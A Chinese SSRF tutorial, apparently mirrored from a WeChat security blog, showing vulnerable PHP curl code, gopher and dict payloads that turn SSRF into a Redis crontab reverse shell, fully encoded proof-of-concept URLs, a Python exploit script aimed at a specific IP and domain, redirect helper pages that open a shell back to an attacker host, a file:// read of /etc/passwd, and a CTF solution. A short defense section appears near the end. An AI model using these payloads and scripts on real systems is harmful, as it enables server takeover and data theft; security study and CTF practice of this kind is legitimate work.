64

SSRF 漏洞分析与利用(含 CTF 例题)

 6 years ago
source link: http://www.10tiao.com/html/608/201807/2655120378/2.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

一次性进群,长期免费索取教程,没有付费教程。

教程列表见微信公众号底部菜单

进微信群回复公众号:微信群;QQ群:16004488



总结了一些常见的姿势,以PHP为例,先上一张脑图,划√的是本文接下来实际操作的。

一、漏洞产生


以curl为例,漏洞代码为ssrf.php


<?php 

$ch = curl_init(); 

curl_setopt($ch, CURLOPT_URL, $_GET['url']); 

#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);

curl_setopt($ch, CURLOPT_HEADER, 0); 

#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);

curl_exec($ch); 

curl_close($ch); 

?>


二、 利用方式


首先查看curl的版本和该版本支持的协议


[root@localhost html]#  curl -V

curl 7.29.0 (x86_64-redhat-linux-gnu) libcurl/7.29.0 NSS/3.21 Basic ECC zlib/1.2.7 

libidn/1.28 libssh2/1.4.3

Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtsp 

scp sftp smtp smtps telnet tftp 

Features: AsynchDNS GSS-Negotiate IDN IPv6 Largefile NTLM NTLM_WB SSL libz unix-

sockets

可以看到该版本的curl支持很多协议,其中gopher协议、dict协议、file协议、http/s协议用的比较多。

ps:上面的漏洞代码ssrf.php没有屏蔽回显,所以利用姿势比较多

gopher:gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议。

先监听本地2333端口,然后利用gopher协议访问

[root@localhost ~]# nc -l -vv 2333

Ncat: Version 6.40 ( http://nmap.org/ncat )

Ncat: Listening on :::2333

Ncat: Listening on 0.0.0.0:2333

Ncat: Connection from 127.0.0.1.

Ncat: Connection from 127.0.0.1:47726


[root@localhost html]# curl -v 'http://127.0.0.1/ssrf.php?

url=gopher://127.0.0.1:2333/_test'


[root@localhost ~]# nc -l -vv 2333

Ncat: Version 6.40 ( http://nmap.org/ncat )

Ncat: Listening on :::2333

Ncat: Listening on 0.0.0.0:2333

Ncat: Connection from 127.0.0.1.

Ncat: Connection from 127.0.0.1:47726.

test


可以看到数据发送了。一开始感觉反弹传输数据没多大用,后来看了gopher和dict攻击redis和脆弱的内网应用的exp才明白

dict:因为ssrf.php的漏洞代码有回显,所以浏览器直接访问


http://4o4notfound.org/ssrf.php?url=dict://127.0.0.1:6379/info


即可看到redis的相关配置。


http://4o4notfound.org/ssrf.php?url=dict://127.0.0.1:ssh端口/info


即可看到ssh的banner信息
如果ssrf.php中加上一行屏蔽回显的代码“curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);”,那么这种方式就失效了,和gopher一样,只能利用nc监听端口,反弹传输数据了。

file:因为ssrf.php的漏洞代码有回显,所以浏览器直接访问


http://4o4notfound.org/ssrf.php?url=file:///etc/passwd


即可看到很多不可描述的东西。同理,如果屏蔽回显,该协议就废了

http/s:主要用来探测内网服务。根据响应的状态判断内网端口及服务,可以结合java系列0day和其他各种0day使用


三、攻击应用


主要攻击redis、discuz、fastcgi、memcache、内网脆弱应用这几类应用,这里以redis为例,分别利用gopher协议和dict协议getshell。

首先要了解redis的getshell的exp写成的bash shell:

echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n"|redis-cli -h $1 

-p $2 -x set 1 

redis-cli -h $1 -p $2 config set dir /var/spool/cron/ redis-cli -h $1 -p $2 config 

set dbfilename root 

redis-cli -h $1 -p $2 save redis-cli -h $1 -p $2 quit


执行命令bash shell.sh 127.0.0.1 6379,就在redis里面写了一个键值对的定时任务(利用crontab),可以反弹shell。

gopher利用:这部分三叶草的joychou师傅说的很详细,可以看ssrf in php。
这里为了构造符合gopher协议的访问请求,首先要获取bash脚本对redis发出的访问请求,要用socat进行端口转发,转发命令为:

socat -v tcp-listen:4444,fork tcp-connect:localhost:6379


意思是将访问4444端口的流量转发到6379端口。也就是如果我们的bash脚本请求的是4444端口,仍然访问的是6379的redis,相当于一个中转。

执行命令

bash shell.sh 127.0.0.1 4444


socat就获取到了shell.sh对redis发出的请求(这里贴出来部分请求):


[root@localhost cron]# socat -v tcp-listen:4444,fork tcp-connect:localhost:6379

> 2017/05/25 07:16:51.991865  length=18 from=0 to=17

*1\r

$8\r

flushall\r

< 2017/05/25 07:16:51.992468  length=5 from=0 to=4

+OK\r

> 2017/05/25 07:16:51.995872  length=83 from=0 to=82

*3\r

$3\r

set\r

$1\r

1\r

$56\r


*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1


\r

< 2017/05/25 07:16:51.996065  length=5 from=0 to=4

+OK\r

> 2017/05/25 07:16:51.998777  length=57 from=0 to=56

*4\r

$6\r


改成适配gopher协议的url:

gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$56%0d%0a%0d%0a%0a%0

a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 

0>&1%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0ad

ir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$

10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aq

uit%0d%0a


再进行urlencode,得到payload:

gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d

%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20

bash%20-

i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d

%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250

a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250

d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilen

ame%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2

A1%250d%250a%244%250d%250aquit%250d%250a


最终的攻击poc为:

curl -v 'http://127.0.0.1/ssrf.php?

url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%

250d%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2

A%20bash%20-

i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d

%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250

a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250

d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilen

ame%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2

A1%250d%250a%244%250d%250aquit%250d%250a'


执行即可在/var/spool/cron/下生成一个名为root的定时任务,任务为反弹shell。

dict利用:dict协议有一个功能:dict://serverip:port/name:data 向服务器的端口请求 name data,并在末尾自动补上rn(CRLF)。也就是如果我们发出dict://serverip:port/config:set:dir:/var/spool/cron/的请求,redis就执行了config set dir /var/spool/cron/ rn.用这种方式可以一步步执行redis getshell的exp,执行完就能达到和gopher一样的效果。原理一样,但是gopher只需要一个url请求即可,dict需要步步构造。

利用猪猪侠的wooyun上公开的脚本改成适配本文的脚本ssrf.py:

import requests

host = '104.224.151.234'

port = '6379'

bhost = 'www.4o4notfound.org'

bport=2333

vul_httpurl = 'http://www.4o4notfound.org/ssrf.php?url='

_location = 'http://www.4o4notfound.org/302.php'

shell_location = 'http://www.4o4notfound.org/shell.php'

#1 flush db

_payload = '?s=dict%26ip={host}%26port={port}%26data=flushall'.format( host = host,

 port = port)

exp_uri = '{vul_httpurl}{0}{1}'.format(_location, _payload, vul_httpurl=vul_httpurl)

print exp_uri

print requests.get(exp_uri).content

#set crontab command

_payload = '?s=dict%26ip={host}%26port={port}%26bhost={bhost}%26bport=

{bport}'.format( host = host, port = port, bhost = bhost, bport = bport)

exp_uri = '{vul_httpurl}{0}{1}'.format(shell_location, _payload,

 vul_httpurl=vul_httpurl)

print exp_uri 

print requests.get(exp_uri).content

#confg set dir

_payload='?s=dict%26ip={host}%26port=

{port}%26data=config:set:dir:/var/spool/cron/'.format( host = host, port = port)

exp_uri = '{vul_httpurl}{0}{1}'.format(_location, _payload, vul_httpurl=vul_httpurl)

print exp_uri

print requests.get(exp_uri).content

#config set dbfilename

_payload='?s=dict%26ip={host}%26port=

{port}%26data=config:set:dbfilename:root'.format( host = host, port = port)

exp_uri = '{vul_httpurl}{0}{1}'.format(_location, _payload,

 vul_httpurl=vul_httpurl)

print exp_uri

print requests.get(exp_uri).content

#save

_payload='?s=dict%26ip={host}%26port={port}%26data=save'.format( host = host, port

 = port)

exp_uri = '{vul_httpurl}{0}{1}'.format(_location, _payload,

 vul_httpurl=vul_httpurl)

print exp_uri

print requests.get(exp_uri).content


因为curl默认不支持302跳转,而该脚本要用到302跳转,所以需要在ssrf.php中加上一行“curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1)”来支持跳转。302.php代码为:


<?php

$ip = $_GET['ip'];

$port = $_GET['port'];

$scheme = $_GET['s'];

$data = $_GET['data'];

header("Location: $scheme://$ip:$port/$data"); ?>


shell.php主要用于写入用于反弹shell的crontab的定时任务,代码为:


<?php

$ip = $_GET['ip'];

$port = $_GET['port'];

$bhost = $_GET['bhost'];

$bport = $_GET['bport'];

$scheme = $_GET['s'];

header("Location: $scheme://$ip:$port/set:0:\"\\x0a\\x0a*/1\\x20*\\x20*\\x20*\\x20*\\x20/bin/bash\\x20-

i\\x20>\\x26\\x20/dev/tcp/{$bhost}/{$bport}\\x200>\\x261\\x0a\\x0a\\x0a\""); ?>


执行ssrf.py,即可在/var/spool/cron/下写入定时任务,反弹shell,nc等待接收shell。


四、绕过与防御

绕过:可以使用www.ip.xip.io或者www.ip.xip.io代替ip可以绕过部分过滤。

防御:限制协议为HTTP、HTTPS。

curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);


禁止30x跳转

删掉curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);


设置白名单或限制内网ip
五、例题

一道ctf题目,有两个文件:ssrf3.php和flag.php

题目意思是flag只能127.0.0.1访问,还进行了post验证,这就需要gopher提交post数据来绕过

curl设置了302跳转,所以可以把302.php放在自己的vps上进行跳转

首先获取访问flag.php的post请求:

POST /flag.php HTTP/1.1

Host: 192.168.154.130

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Connection: keep-alive

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 14


username=admin


因为只有一台机器,所以我直接将Host改成了127.0.0.1,再改成符合gopher协议的请求,写入302.php。

302.php内容为:

header("Location:gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1%0d%0aHost: 

127.0.0.1%0d%0aUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) 

Gecko/20100101 Firefox/50.0%0d%0aAccept: 

text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8%0d%0aAccept-Language: 

zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3%0d%0aAccept-Encoding: gzip, 

deflate%0d%0aConnection: keep-alive%0d%0aUpgrade-Insecure-Requests: 1%0d%0aContent-

Type: application/x-www-form-urlencoded%0d%0aContent-Length: 

14%0d%0a%0d%0ausername=admin");


流程就是在ssrf3.php提交http://www.myvpsip.xip.io/302.php,然后漏洞机器会访问302.php,然后跳转,利用gopher协议,自己访问自己的flag.php同时提交username=admin的post数据。flag可以在ssrf3.php的页面源代码中看到。

因为都是一台机器在操作,但应该不是紫薇吧.ps:改装成符合gopher协议的get、post类型请求还是要小心的。

【推荐书籍】

网络攻防实战研究:漏洞利用与提权

作者:祝烈煌

当当 广告
购买

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK